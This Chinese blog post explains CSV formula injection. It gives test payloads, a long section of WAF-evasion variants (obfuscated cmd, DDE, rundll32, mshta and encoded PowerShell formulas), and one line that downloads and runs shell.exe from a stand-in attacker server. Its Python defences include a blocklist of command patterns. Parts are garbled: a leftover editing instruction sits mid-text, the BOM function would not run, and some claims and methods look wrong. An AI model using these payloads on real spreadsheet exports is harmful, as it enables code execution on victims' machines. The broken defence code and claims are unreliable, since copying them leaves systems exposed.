CSV 注入漏洞解析

darkb1rd
572 阅读7分钟

一、什么是 CSV 注入漏洞？

想象一下这个场景：小王开发了一个电商网站，用户可以导出自己的订单记录为 CSV 文件。看起来很正常对吧？但如果有人在订单信息中故意植入了特殊公式，当你用 Excel 打开这个 CSV 文件时，电脑上的计算器突然弹出来了...这就是 CSV 注入漏洞带来的"魔法"。

CSV 注入漏洞（也叫公式注入）是一种特殊的安全漏洞，它主要利用了电子表格软件（如 Excel、LibreOffice）会自动执行 CSV 文件中的公式这一特性。当包含恶意公式的数据被写入 CSV 文件，并被用户使用电子表格软件打开时，这些公式就会被执行，可能导致意想不到的后果。

二、漏洞形成原理

2.1 为什么会有这个漏洞？

要理解 CSV 注入漏洞，我们得先搞清楚几个关键点：

  1. CSV 文件的本质

    • CSV 本质上是纯文本文件
    • 它使用逗号（或其他分隔符）来分隔数据
    • 理论上不应该包含任何可执行的代码

  2. 问题的根源

    • Excel 等软件为了提供更强大的功能，会自动将以特定字符（如=、+、-、@）开头的内容识别为公式
    • 这种自动识别机制在处理不受信任的数据时就成了安全隐患

2.2 攻击是如何实现的？

在 CSV 文件中，任何以下符号开头的内容都可能被解析为公式：

=
+
-
@

让我们看一个具体的例子：

假设有一个导出用户信息的 CSV 文件，原本内容应该是：

姓名,电话,地址
张三,12345678901,北京市

但攻击者可能会构造这样的数据：

姓名,电话,地址
=cmd|'/C calc'!A0,12345678901,北京市

当用户用 Excel 打开这个文件时，第二行的第一个单元格会被解释为一个公式，从而可能触发系统命令执行。

三、漏洞的危害有多大？

CSV 注入漏洞的危害可能远超很多人的想象：

  1. 命令执行

    • 可以运行计算器（这是最基础的验证）
    • 可以执行任意系统命令
    • 可以启动恶意程序

  2. 数据窃取

    • 可以通过 DDE（动态数据交换）机制读取系统信息
    • 可以将数据传输到远程服务器

  3. 恶意程序下载

    • 可以通过 PowerShell 下载和执行远程文件：
    =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

  4. 在 Google Sheets 中的特殊风险 Google Sheets 还支持一些特殊的公式，比如：

    • IMPORTXML：可以从远程 URL 获取数据
    • IMPORTDATA：可以导入远程数据
    • IMPORTFEED：可以导入 RSS 源 这些功能在被滥用时可能导致数据泄露。

四、如何发现 CSV 注入漏洞？

4.1 识别风险点

在进行安全测试时，要重点关注以下几个方面：

  1. 功能层面

    • 导出 CSV 文件的功能
    • 批量数据下载功能
    • 报表生成功能

  2. 数据流向

    • 用户输入数据是否会出现在导出文件中
    • 导出的数据是否经过适当的清洗和转义

4.2 测试方法

  1. 基础测试 尝试在可控的输入点插入简单的公式：

    =1+1
=2+5
@SUM(1+1)

  2. 进阶测试 使用各种绕过技巧：

    # 命令执行测试
=cmd|' /C calc'!A0

# 使用空格和特殊字符混淆
=    C    m    D   |'/c calc'!A0

# 使用其他程序执行
=rundll32|'URL.dll,OpenURL calc.exe'!A

  3. 绕过技巧测试

    • 使用不同的前缀符号（=、+、-、@）

    • 添加无意义的数学运算

    • 使用空字符进行混淆

[前文保持不变，在"四、如何发现 CSV 注入漏洞？"章节后增加新的章节]

五、CSV 注入的 WAF 绕过技巧

在实际攻防场景中，可能会遇到各种 WAF（Web Application Firewall）的拦截。这里我们深入探讨一些常见的绕过技术。

5.1 字符混淆绕过

  1. 空白字符填充 WAF 可能会拦截标准的命令格式，但通过添加特殊的空白字符，往往能实现绕过：

    # 原始payload
=cmd|'/C calc'!A0

# 使用空格混淆
=    c    m    d    |    '    /    C    c    a    l    c    '    !    A    0

# 使用制表符混淆
=cmd  |  '/C  calc'  !  A0

  2. Unicode 字符绕过 利用不同的 Unicode 字符表示相同的命令：

    # 使用全角字符
=ｃｍｄ|'/C calc'!A0

# 使用零宽字符
=c​m​d|'/C calc'!A0

5.2 命令拼接技巧

  1. 数学运算混淆 通过添加无害的数学运算来混淆真实意图：

    # 基础数学运算混淆
=1+2+3+cmd|'/C calc'!A0

# 复杂表达式混淆
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc'!A0

  2. 命令链接技巧 使用不同的命令连接方式：

    # 使用乘法连接
=cmd|'/c calc'!A*cmd|'/c calc'!A

# 使用字符串连接
="cm"&"d"|'/c calc'!A0

5.3 替代执行方法

  1. 替代程序执行 除了常见的 cmd，还可以使用其他程序来执行命令：

    # 使用 rundll32
=rundll32|'URL.dll,OpenURL calc.exe'!A

# 使用 mshta
=mshta|'javascript:alert(1)'!A

# 使用 powershell
=powershell|' -nop -w hidden -c "calc"'!A

  2. DDE 执行变体

    # 基础 DDE 执行
=DDE("cmd";"/C calc";"!A0")A0

# 混淆版本
=DDE("c"&"m"&"d";"/C c"&"alc";"!A0")A0

5.4 高级绕过技术

  1. 分段执行 将命令分散到多个单元格中：

    A1: =INDIRECT("rc[1]",FALSE)
B1: =cmd|'/C 
C1: calc
D1: '!A0

  2. 编码绕过 使用各种编码方式隐藏真实命令：

    # Base64 编码执行
=cmd|'/C powershell -enc YwBhAGwAYwA='!A0

# Hex 编码
=cmd|'/C powershell -c [char]::ConvertFromHexString("63616c63")'!A0

  3. 环境变量利用 使用系统环境变量构造命令：

    # 使用环境变量
=cmd|'/C %SYSTEMROOT%\System32\calc.exe'!A0

# 混合环境变量
=cmd|'/C %CO%m%MSPEC%calc'!A0

5.5 针对特定 WAF 的绕过技术

  1. ModSecurity 绕过

    # 利用大小写混淆
=CmD|'/c CaLc'!A0

# 使用反斜杠
=cmd|'/c c:\windows\system32\calc.exe'!A0

  2. 常见商业 WAF 绕过

    # 双重编码
=cmd|'/C %25%32%35calc%25%32%35'!A0

# 注释符混淆
=cmd|'/C rem calc & calc'!A0

🔔 特别提醒：本文介绍的绕过技术仅用于安全研究和授权测试，切勿用于非法用途！

六、如何防范 CSV 注入漏洞？

要防范 CSV 注入漏洞，我们需要从多个层面进行防护：

6.1 输入验证和清洗

  1. 严格的输入验证

    def validate_csv_field(field):
    # 检查是否以危险字符开头
    dangerous_chars = ['=', '+', '-', '@']
    if any(field.startswith(char) for char in dangerous_chars):
        return False
    return True

  2. 数据转义

    def escape_csv_field(field):
    if isinstance(field, str):
        # 如果字段以等号开头，添加单引号
        if field.startswith(('=', '+', '-', '@')):
            field = f"'{field}"
    return field

  3. 深度检测

    def deep_sanitize(field):
    # 移除所有空白字符
    field = ''.join(field.split())
    # 检查Unicode变体
    field = unicodedata.normalize('NFKC', field)
    # 检查常见的命令模式
    dangerous_patterns = [
        r'(?i)cmd',
        r'(?i)powershell',
        r'(?i)rundll32',
        r'(?i)mshta',
        r'(?i)DDE\(',
    ]
    for pattern in dangerous_patterns:
        if re.search(pattern, field):
            return None
    return field

  4. 上下文感知过滤

    def context_aware_filter(field, context):
    if context == 'cell_content':
        # 单元格内容特定的检查
        if any(field.lower().startswith(x) for x in ['=', '+', '-', '@']):
            return None
    elif context == 'formula':
        # 公式特定的检查
        if 'DDE' in field.upper():
            return None
    return field

  5. 启用安全头

    def set_security_headers(response):
    response.headers['Content-Disposition'] = 'attachment; filename="safe.csv"'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    return response

6.2 输出保护

  1. 添加 BOM 标记 在 CSV 文件开头添加 UTF-8 BOM，可以防止 Excel 将内容识别为公式：

    def write_safe_csv(filename, data):
    with open(filename, 'wb') as f:
        # 写入 UTF-8 BOM
        f.write(b'\xef\xbb\xbf')
        # 写入 CSV 数据
        writer = csv.writer(f)
        writer.writerows(data)

  2. 使用替代格式

    • 考虑使用 XLSX 格式而不是 CSV
    • 使用 PDF 格式输出报表

6.3 架构层面的防护

  1. 数据隔离

    • 将用户输入的数据与系统生成的数据分开存储
    • 对不同来源的数据采用不同的处理策略

  2. 输出控制

    • 限制单次导出的数据量
    • 对导出功能进行权限控制

  3. 监控和日志

    • 记录异常的导出请求
    • 监控包含特殊字符的数据输入

结语

CSV 注入漏洞虽然看似简单，但其危害不容忽视。作为开发者，我们需要在便利性和安全性之间找到平衡点。通过合理的预防措施和正确的实现方式，我们可以有效地规避这类安全风险。

avatar
文章
阅读
粉丝